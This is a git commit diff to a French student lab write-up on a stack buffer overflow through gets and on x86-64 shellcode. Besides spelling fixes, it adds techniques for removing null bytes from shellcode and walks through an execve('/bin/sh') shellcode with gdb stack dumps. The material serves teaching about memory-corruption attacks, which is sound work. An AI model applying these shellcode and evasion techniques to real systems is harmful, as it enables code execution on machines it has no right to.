Reword, spell correction
This commit is contained in:
parent
70c0823fe7
commit
7a5794b87f
1 changed files with 54 additions and 16 deletions
|
@ -1,6 +1,7 @@
|
|||
---
|
||||
title: "Sécurité logicielle : TD5 stack overflow et shellcode"
|
||||
date: 2023-02-17
|
||||
lastmod: 2023-03-30
|
||||
tags: ["Assembleur", "x86"]
|
||||
author:
|
||||
- Yorick Barbanneau
|
||||
|
@ -17,7 +18,7 @@ conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles
|
|||
variables associées.
|
||||
|
||||
En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0;
|
||||
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
|
||||
i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`.
|
||||
|
||||
## Partie 2
|
||||
|
||||
|
@ -25,14 +26,14 @@ i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i<N`
|
|||
|
||||
Le code d'`anodin` contient l'appel à `gets`. Cette fonction est déconseillée
|
||||
car elle ne prend pas en paramètres **le nombre d'octets maximal à lire**. Il
|
||||
est ainsi aiser de réaliser une attaque par **dépassement de tampon**:
|
||||
est ainsi aisé de réaliser une attaque par **dépassement de tampon**:
|
||||
L'utilisateur saisie plus de donnée que la taille de la variable qui les reçoit.
|
||||
|
||||
Pour `exploit`, le code vu en cours est repris dans cet exemple. Nous sommes
|
||||
cependant en présence de code *C* avec du code assembleur directement écrit en
|
||||
*hexadécimal*.
|
||||
|
||||
L'exploit est prévu pour fonctinner en assembleur x86_32 et x86_64 avec la
|
||||
L'exploit est prévu pour fonctionner en assembleur x86_32 et x86_64 avec la
|
||||
présence d'une macro afin de positionner les instructions adaptée dans la
|
||||
variable `exploit`:
|
||||
|
||||
|
@ -50,10 +51,9 @@ unsigned char exploit[1024] = {
|
|||
};
|
||||
```
|
||||
|
||||
|
||||
### question 4
|
||||
|
||||
Lors de l'execution de notre attaque en l'observant avec gdb, nous pouvons
|
||||
Lors de l'exécution de notre attaque et en l'observant avec gdb, nous pouvons
|
||||
clairement les éléments de notre attaque : les éléments de la pile contenant les
|
||||
adresses vers notre *shellcode*, les padding avec des `nop` et le *shellcode*.
|
||||
|
||||
|
@ -133,8 +133,10 @@ mettent alors en places.
|
|||
0x7fffffffe488 0x00005555555551cc
|
||||
0x7fffffffe480 0x0000000000000003
|
||||
```
|
||||
|
||||
Voici les éléments de notre `exploit` qui se retrouvent dans la pile, les
|
||||
différentes parties sont délimitées par des crochets:
|
||||
|
||||
```
|
||||
0x7fffffffe4b8 0x[050f] e6894857e289 ; 4
|
||||
0x7fffffffe4b0 0x48006a000000 [3b] c0 ; 3
|
||||
|
@ -192,13 +194,49 @@ Déassemblage de la section .text :
|
|||
|
||||
Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes**
|
||||
avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt`
|
||||
prêt à importer dans notre code `C`.
|
||||
prêt à importer dans notre code `C`[^opcode].
|
||||
|
||||
Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0
|
||||
par `objdump`. Et en plus on évite les erreurs de saisie.
|
||||
|
||||
Après l'incorporation de notre *shellcode* dans le fichier `exploit-test.c`, sa
|
||||
compilation et son execution, le fichier `/tmp/pwn` est bien créé.
|
||||
Nous avons ensuite modifié notre *shellcode* afin de banir `\0` -- il ne
|
||||
contenait pas de `\n` -- avec les astuces suivantes:
|
||||
|
||||
* Utiliser la séquence `jmp`, `call`, `pop`. L'adresse du `call` est ainsi
|
||||
négative et ne contient pas de 0.
|
||||
* Utiliser `xor` sur un registre vers lui même afin de l'initialiser à 0
|
||||
* Utiliser la pile pour affecter des valeurs à nos registres
|
||||
```asm
|
||||
push $0xabcd
|
||||
pop %rsi
|
||||
```
|
||||
* Pour des valeurs contenant 0 (mais pas `f`), utiliser le complément à deux,
|
||||
par exemple pour 0666:
|
||||
```asm
|
||||
pop %rdi
|
||||
push $0xfffffffffffffe4b
|
||||
xor %rsi, %rsi
|
||||
pop %rsi
|
||||
neg %rsi
|
||||
```
|
||||
* Pour les valeurs contenant des 0, utiliser des opérations arithmétiques pour
|
||||
les calculer
|
||||
```asm
|
||||
# put 61 in %rax
|
||||
push $61
|
||||
pop %rax
|
||||
# minus 1, we've got 60 (exit syscall number)
|
||||
lea -1(%rax), %rax
|
||||
```
|
||||
Pour sa soustraction ou l'addition, on utilise `lea`.
|
||||
* Utiliser `.ascii` à la place de `asciz`, ainsi notre chaine ne contient pas
|
||||
`\0` à la fin.
|
||||
|
||||
Après l'incorporation de notre *shellcode* dans le fichier `exploit.c`, sa
|
||||
compilation et son exécution, le fichier `/tmp/pwn` est bien créé.
|
||||
|
||||
[^opcode]: enfin quasiment, notre cible n'est pas parfaite et il faut supprimer
|
||||
quelques éléments à la fin de la séquence
|
||||
|
||||
## Partie 4
|
||||
|
||||
|
@ -220,24 +258,24 @@ mov $0x3b,%al
|
|||
syscall
|
||||
```
|
||||
|
||||
Notre shellcode commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
||||
Notre *shellcode* commence par initialiser `%eax` à 0 en faisant un `xor` - *ou
|
||||
exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci
|
||||
est en fait une chaine de caractère qui sera dévoilée lors de la prochaine
|
||||
instruction.
|
||||
|
||||
Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`.
|
||||
Cette instrution réalise un complément à deux sur le registre en paramètre.
|
||||
Cette instruction réalise un complément à deux sur le registre en paramètre.
|
||||
|
||||
`%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile.
|
||||
|
||||
Le contenu pointé par le pointeur de pile (l'adresse de notre chaine)
|
||||
est passé au registre `%rdi` et la pile remonte d'un cran (`pop`).
|
||||
|
||||
Le mnémonique `cltd` transforme étends le bit de poid fort d'`%eax` dans `%edx`.
|
||||
Il est question ici d'initialiser `%edx` à 0.
|
||||
Le mnémonique `cltd` étends le bit de poids fort d'`%eax` dans `%edx`. Il est
|
||||
question ici d'initialiser `%edx` à 0.
|
||||
|
||||
`%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile.
|
||||
Voici d'ailleur à quoi ressemble cette dernière:
|
||||
Voici d'ailleurs à quoi ressemble cette dernière:
|
||||
|
||||
```
|
||||
[...]
|
||||
|
@ -248,7 +286,7 @@ Voici d'ailleur à quoi ressemble cette dernière:
|
|||
[...]
|
||||
```
|
||||
Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel
|
||||
est lance avec `syscall`. voici l'état des registres au moment de notre
|
||||
est lance avec `syscall`. Voici l'état des registres au moment de notre
|
||||
`syscall` :
|
||||
|
||||
```
|
||||
|
@ -275,11 +313,11 @@ Et l'état de notre pile :
|
|||
[...]
|
||||
```
|
||||
|
||||
Notre shellcode lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
||||
Notre *shellcode* lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel
|
||||
système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de
|
||||
`/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des
|
||||
arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par
|
||||
`%rdx` : 0.
|
||||
|
||||
Dasn ce shellcode, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
||||
Dans ce *shellcode*, tout est fait pour ne pas avoir de caractère `/0` et `/n`
|
||||
afin de passer `gets` et `strcpy`.
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue